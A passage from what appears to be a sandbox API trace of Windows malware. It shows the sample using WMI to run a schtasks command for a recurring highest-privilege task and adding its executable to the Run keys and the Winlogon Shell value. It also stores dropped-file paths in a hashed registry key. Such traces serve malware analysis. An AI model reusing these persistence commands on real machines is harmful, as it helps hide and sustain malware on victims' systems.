This=0x1b4550f0, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0134.654] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0134.654] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b455ab0, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0134.654] WbemDefPath:IWbemPath:GetText (in: This=0x1b455ab0, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x1d, pszText=0x0) returned 0x0 [0134.654] WbemDefPath:IWbemPath:GetText (in: This=0x1b455ab0, lFlags=4, puBuffLength=0x1b10da40*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0134.654] CoGetContextToken (in: pToken=0x1b10d350 | out: pToken=0x1b10d350) returned 0x0 [0134.654] WbemLocator:IUnknown:AddRef (This=0x1b459d58) returned 0x3 [0134.654] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459d58, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d350 | out: ppvObject=0x1b10d350*=0x1b459d58) returned 0x0 [0134.654] WbemLocator:IUnknown:Release (This=0x1b459d58) returned 0x3 [0134.654] WbemLocator:IUnknown:Release (This=0x1b459d58) returned 0x2 [0134.654] WbemDefPath:IWbemPath:GetText (in: This=0x1b455ab0, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0134.654] WbemDefPath:IWbemPath:GetText (in: This=0x1b455ab0, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0134.655] IWbemServices:GetObject (in: This=0x1b3e26b0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d9d0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d9d0*=0x1b432860, ppCallResult=0x0) returned 0x0 [0134.661] IWbemClassObject:GetMethod (in: This=0x1b432860, wszName="Create", lFlags=0, ppInSignature=0x1b10dac8, ppOutSignature=0x1b10dac0 | out: ppInSignature=0x1b10dac8*=0x1b469240, ppOutSignature=0x1b10dac0*=0x1b469a10) returned 0x0 [0134.661] IWbemClassObject:SpawnInstance (in: This=0x1b469240, lFlags=0, ppNewInstance=0x1b10dad8 | out: ppNewInstance=0x1b10dad8*=0x1b432bd0) returned 0x0 [0134.661] IWbemClassObject:Get (in: This=0x1b432bd0, wszName="CommandLine", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8de98*=0, plFlavor=0x2d8de9c*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8de98*=8, plFlavor=0x2d8de9c*=32) returned 0x0 [0134.661] IWbemClassObject:Get (in: This=0x1b432bd0, wszName="CommandLine", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8de98*=8, plFlavor=0x2d8de9c*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8de98*=8, plFlavor=0x2d8de9c*=32) returned 0x0 [0134.661] IWbemClassObject:Put (This=0x1b432bd0, wszName="CommandLine", lFlags=0, pVal=0x1b10da60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"SystemSettingsS\" /sc MINUTE /mo 8 /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0134.661] IWbemClassObject:Get (in: This=0x1b432bd0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8df28*=0, plFlavor=0x2d8df2c*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8df28*=13, plFlavor=0x2d8df2c*=32) returned 0x0 [0134.661] IWbemClassObject:Get (in: This=0x1b432bd0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8df28*=13, plFlavor=0x2d8df2c*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8df28*=13, plFlavor=0x2d8df2c*=32) returned 0x0 [0134.662] IUnknown:QueryInterface (in: This=0x1b451ac0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d2b0 | out: ppvObject=0x1b10d2b0*=0x1b451ac0) returned 0x0 [0134.662] IUnknown:QueryInterface (in: This=0x1b451ac0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d340 | out: ppvObject=0x1b10d340*=0x0) returned 0x80004002 [0134.662] IUnknown:QueryInterface (in: This=0x1b451ac0, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0134.662] IUnknown:QueryInterface (in: This=0x1b451ac0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10cb38 | out: ppvObject=0x1b10cb38*=0x0) returned 0x80004002 [0134.662] IUnknown:AddRef (This=0x1b451ac0) returned 0x3 [0134.662] IUnknown:QueryInterface (in: This=0x1b451ac0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c9f8 | out: ppvObject=0x1b10c9f8*=0x0) returned 0x80004002 [0134.662] IUnknown:QueryInterface (in: This=0x1b451ac0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c980 | out: ppvObject=0x1b10c980*=0x0) returned 0x80004002 [0134.662] IUnknown:QueryInterface (in: This=0x1b451ac0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c970 | out: ppvObject=0x1b10c970*=0x1b451ac8) returned 0x0 [0134.662] IMarshal:GetUnmarshalClass (in: This=0x1b451ac8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c998 | out: pCid=0x1b10c998*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0134.663] IUnknown:Release (This=0x1b451ac8) returned 0x3 [0134.663] CoGetContextToken (in: pToken=0x1b10ca20 | out: pToken=0x1b10ca20) returned 0x0 [0134.663] CoGetContextToken (in: pToken=0x1b10cea0 | out: pToken=0x1b10cea0) returned 0x0 [0134.663] IUnknown:QueryInterface (in: This=0x1b451ac0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0134.663] IUnknown:Release (This=0x1b451ac0) returned 0x2 [0134.663] CoGetContextToken (in: pToken=0x1b10cf20 | out: pToken=0x1b10cf20) returned 0x0 [0134.663] CoGetContextToken (in: pToken=0x1b10ce20 | out: pToken=0x1b10ce20) returned 0x0 [0134.663] IUnknown:QueryInterface (in: This=0x1b451ac0, riid=0x1b10cf80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b10cf50 | out: ppvObject=0x1b10cf50*=0x0) returned 0x80004002 [0134.663] CoGetContextToken (in: pToken=0x1b10d0b0 | out: pToken=0x1b10d0b0) returned 0x0 [0134.663] IUnknown:QueryInterface (in: This=0x1b451ac0, riid=0x7ffb02955148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d180 | out: ppvObject=0x1b10d180*=0x0) returned 0x80004002 [0134.663] CoGetContextToken (in: pToken=0x1b10d140 | out: pToken=0x1b10d140) returned 0x0 [0134.663] IUnknown:AddRef (This=0x1b451ac0) returned 0x3 [0134.663] IWbemClassObject:Put (This=0x1b432bd0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da60*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b451ac0, varVal2=0x0), Type=0) returned 0x0 [0134.665] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b455e70, puCount=0x1b10daf8 | out: puCount=0x1b10daf8*=0x2) returned 0x0 [0134.665] WbemDefPath:IWbemPath:GetText (in: This=0x1b455e70, lFlags=4, puBuffLength=0x1b10daf0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10daf0*=0x22, pszText=0x0) returned 0x0 [0134.665] WbemDefPath:IWbemPath:GetText (in: This=0x1b455e70, lFlags=4, puBuffLength=0x1b10daf0*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10daf0*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0134.665] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4550f0, puCount=0x1b10da38 | out: puCount=0x1b10da38*=0x2) returned 0x0 [0134.665] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=4, puBuffLength=0x1b10da30*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da30*=0xf, pszText=0x0) returned 0x0 [0134.665] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=4, puBuffLength=0x1b10da30*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.665] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0134.665] WbemLocator:IUnknown:AddRef (This=0x1b459d58) returned 0x3 [0134.665] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459d58, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x1b459d58) returned 0x0 [0134.674] WbemLocator:IUnknown:Release (This=0x1b459d58) returned 0x3 [0134.674] WbemLocator:IUnknown:Release (This=0x1b459d58) returned 0x2 [0134.674] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0134.674] WbemLocator:IUnknown:AddRef (This=0x1b459d58) returned 0x3 [0134.674] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459d58, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x1b459d58) returned 0x0 [0134.675] WbemLocator:IUnknown:Release (This=0x1b459d58) returned 0x3 [0134.675] WbemLocator:IUnknown:Release (This=0x1b459d58) returned 0x2 [0134.675] WbemDefPath:IWbemPath:GetText (in: This=0x1b455e70, lFlags=2, puBuffLength=0x1b10db00*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db00*=0xe, pszText=0x0) returned 0x0 [0134.675] WbemDefPath:IWbemPath:GetText (in: This=0x1b455e70, lFlags=2, puBuffLength=0x1b10db00*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db00*=0xe, pszText="Win32_Process") returned 0x0 [0134.675] IWbemServices:ExecMethod (in: This=0x1b3e26b0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b432bd0, ppOutParams=0x1b10da70*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b10da70*=0x1b46a1c0, ppCallResult=0x0) returned 0x0 [0134.847] IWbemClassObject:Get (in: This=0x1b46a1c0, wszName="ProcessId", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2dcfab0*=0, plFlavor=0x2dcfab4*=0 | out: pVal=0x1b10da60*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1388, varVal2=0x0), pType=0x2dcfab0*=19, plFlavor=0x2dcfab4*=0) returned 0x0 [0134.847] IWbemClassObject:Get (in: This=0x1b46a1c0, wszName="ProcessId", lFlags=0, pVal=0x1b10da70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2dcfab0*=19, plFlavor=0x2dcfab4*=0 | out: pVal=0x1b10da70*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1388, varVal2=0x0), pType=0x2dcfab0*=19, plFlavor=0x2dcfab4*=0) returned 0x0 [0134.848] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b10dd18 | out: phkResult=0x1b10dd18*=0x30c) returned 0x0 [0134.852] RegQueryValueExW (in: hKey=0x30c, lpValueName="SystemSettings", lpReserved=0x0, lpType=0x1b10dd38, lpData=0x0, lpcbData=0x1b10dd30*=0x0 | out: lpType=0x1b10dd38*=0x0, lpData=0x0, lpcbData=0x1b10dd30*=0x0) returned 0x2 [0134.852] RegSetValueExW (in: hKey=0x30c, lpValueName="SystemSettings", Reserved=0x0, dwType=0x1, lpData="\"C:\\MSOCache\\All Users\\SystemSettings.exe\"", cbData=0x56 | out: lpData="\"C:\\MSOCache\\All Users\\SystemSettings.exe\"") returned 0x0 [0134.852] RegCloseKey (hKey=0x30c) returned 0x0 [0134.852] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b10dd18 | out: phkResult=0x1b10dd18*=0x30c) returned 0x0 [0134.853] RegQueryValueExW (in: hKey=0x30c, lpValueName="SystemSettings", lpReserved=0x0, lpType=0x1b10dd38, lpData=0x0, lpcbData=0x1b10dd30*=0x0 | out: lpType=0x1b10dd38*=0x0, lpData=0x0, lpcbData=0x1b10dd30*=0x0) returned 0x2 [0134.853] RegSetValueExW (in: hKey=0x30c, lpValueName="SystemSettings", Reserved=0x0, dwType=0x1, lpData="\"C:\\MSOCache\\All Users\\SystemSettings.exe\"", cbData=0x56 | out: lpData="\"C:\\MSOCache\\All Users\\SystemSettings.exe\"") returned 0x0 [0134.853] RegCloseKey (hKey=0x30c) returned 0x0 [0134.854] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b10dd18 | out: phkResult=0x1b10dd18*=0x30c) returned 0x0 [0134.854] RegQueryValueExW (in: hKey=0x30c, lpValueName="Shell", lpReserved=0x0, lpType=0x1b10dd68, lpData=0x0, lpcbData=0x1b10dd60*=0x0 | out: lpType=0x1b10dd68*=0x1, lpData=0x0, lpcbData=0x1b10dd60*=0x76) returned 0x0 [0134.854] RegQueryValueExW (in: hKey=0x30c, lpValueName="Shell", lpReserved=0x0, lpType=0x1b10dd68, lpData=0x2dd08a0, lpcbData=0x1b10dd60*=0x76 | out: lpType=0x1b10dd68*=0x1, lpData="explorer.exe, \"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\"", lpcbData=0x1b10dd60*=0x76) returned 0x0 [0134.854] RegQueryValueExW (in: hKey=0x30c, lpValueName="Shell", lpReserved=0x0, lpType=0x1b10dd38, lpData=0x0, lpcbData=0x1b10dd30*=0x0 | out: lpType=0x1b10dd38*=0x1, lpData=0x0, lpcbData=0x1b10dd30*=0x76) returned 0x0 [0134.855] RegSetValueExW (in: hKey=0x30c, lpValueName="Shell", Reserved=0x0, dwType=0x1, lpData="explorer.exe, \"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\", \"C:\\MSOCache\\All Users\\SystemSettings.exe\"", cbData=0xce | out: lpData="explorer.exe, \"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\", \"C:\\MSOCache\\All Users\\SystemSettings.exe\"") returned 0x0 [0134.855] RegCloseKey (hKey=0x30c) returned 0x0 [0136.531] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\e802a8f5f5f66cfac0e0bb013f7ab510d7cf622e", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b10e018 | out: phkResult=0x1b10e018*=0x0) returned 0x2 [0136.531] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\e802a8f5f5f66cfac0e0bb013f7ab510d7cf622e", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1b10e070, lpdwDisposition=0x1b10e158 | out: phkResult=0x1b10e070*=0x308, lpdwDisposition=0x1b10e158*=0x1) returned 0x0 [0136.539] RegQueryValueExW (in: hKey=0x308, lpValueName="3359776c78eef85b0fa3da7ec6cdb87b666aafc4", lpReserved=0x0, lpType=0x1b10e128, lpData=0x0, lpcbData=0x1b10e120*=0x0 | out: lpType=0x1b10e128*=0x0, lpData=0x0, lpcbData=0x1b10e120*=0x0) returned 0x2 [0136.539] RegSetValueExW (in: hKey=0x308, lpValueName="3359776c78eef85b0fa3da7ec6cdb87b666aafc4", Reserved=0x0, dwType=0x1, lpData="WyJDOlxccG9ydFNlc3Npb25cXGNvbXBvbmVudG5ldC5leGUiLCJDOlxcQm9vdFxcUmVzb3VyY2VzXFxlbi1VU1xcYWJzb2x1dGV0ZWxuZXQuZXhlIiwiQzpcXE1TT0NhY2hlXFxBbGwgVXNlcnNcXFN5c3RlbVNldHRpbmdzLmV4ZSJd", cbData=0x162 | out: lpData="WyJDOlxccG9ydFNlc3Npb25cXGNvbXBvbmVudG5ldC5leGUiLCJDOlxcQm9vdFxcUmVzb3VyY2VzXFxlbi1VU1xcYWJzb2x1dGV0ZWxuZXQuZXhlIiwiQzpcXE1TT0NhY2hlXFxBbGwgVXNlcnNcXFN5c3RlbVNldHRpbmdzLmV4ZSJd") returned 0x0 [0136.540] RegCloseKey (hKey=0x308) returned 0x0 [0136.688] RoGetParameterizedTypeInstanceIID () returned 0x0 [0136.688] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0136.688] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0136.690] RoGetParameterizedTypeInstanceIID () returned 0x0 [0136.690] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0136.690] RoGetParameterizedTypeInstanceIID () returned 0x0 [0136.690] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0136.762] GetFullPathNameW (in: lpFileName="C:\\portSession\\componentnet.exe", nBufferLength=0x105, lpBuffer=0x1b10d390, lpFilePart=0x0 | out: lpBuffer="C:\\portSession\\componentnet.exe", lpFilePart=0x0) returned 0x1f [0136.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10d7e0) returned 1 [0136.762] GetFileAttributesExW (in: lpFileName="C:\\portSession\\componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b10d8c0 | out: lpFileInformation=0x1b10d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6013d28, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xe6013d28, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0x38bd1533, ftLastWriteTime.dwHighDateTime=0x1d9eaf5, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0136.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10d7a0) returned 1 [0136.768] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1b10d390, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", lpFilePart=0x0) returned 0x2a [0136.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10d7e0) returned 1 [0136.768] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b10d8c0 | out: lpFileInformation=0x1b10d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d9f6, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x5f1d9f6, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x38bd1533, ftLastWriteTime.dwHighDateTime=0x1d9eaf5, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0136.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10d7a0) returned 1 [0136.773] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\SystemSettings.exe", nBufferLength=0x105, lpBuffer=0x1b10d390, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\SystemSettings.exe", lpFilePart=0x0) returned 0x28 [0136.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10d7e0) returned 1 [0136.773] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\SystemSettings.exe" (normalized: "c:\\msocache\\all users\\systemsettings.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b10d8c0 | out: lpFileInformation=0x1b10d8c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa3f1f5a, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xa3f1f5a, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x38bd1533, ftLastWriteTime.dwHighDateTime=0x1d9eaf5, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0136.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10d7a0) returned 1 [0136.806] GetCurrentProcess () returned 0xffffffffffffffff [0136.806] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b10d988 | out: TokenHandle=0x1b10d988*=0x308) returned 1 [0136.809] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1b10d9e8 | out: TokenInformation=0x0, ReturnLength=0x1b10d9e8) returned 0 [0136.810] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1b422fd0 [0136.810] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x8, TokenInformation=0x1b422fd0, TokenInformationLength=0x4, ReturnLength=0x1b10d9e8 | out: TokenInformation=0x1b422fd0, ReturnLength=0x1b10d9e8) returned 1 [0136.810] LocalFree (hMem=0x1b422fd0) returned 0x0 [0136.810] DuplicateTokenEx (in: hExistingToken=0x308, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1b10da48 | out: phNewToken=0x1b10da48*=0x4d4) returned 1 [0136.810] CheckTokenMembership (in: TokenHandle=0x4d4, SidToCheck=0x2f22630*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1b10da50 | out: IsMember=0x1b10da50) returned 1 [0136.810] CloseHandle (hObject=0x4d4) returned 1 [0136.880] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1b10dd70, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", lpFilePart=0x0) returned 0x2a [0136.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10e1c0) returned 1 [0136.880] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b10e2a0 | out: lpFileInformation=0x1b10e2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d9f6, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x5f1d9f6, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x38bd1533, ftLastWriteTime.dwHighDateTime=0x1d9eaf5, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0136.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10e180) returned 1 [0137.044] CoTaskMemAlloc (cb=0x20c) returned 0x1b994a10 [0137.044] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b994a10 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0137.044] CoTaskMemFree (pv=0x1b994a10) [0137.045] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1b10daf0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0137.046] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b10db10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0137.047] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\qNTQybFaba", nBufferLength=0x105, lpBuffer=0x1b10d8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\qNTQybFaba", lpFilePart=0x0) returned 0x33 [0137.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10ddb0) returned 1 [0137.048] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\qNTQybFaba" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\qntqybfaba"), dwDesiredAccess=0x40000000, 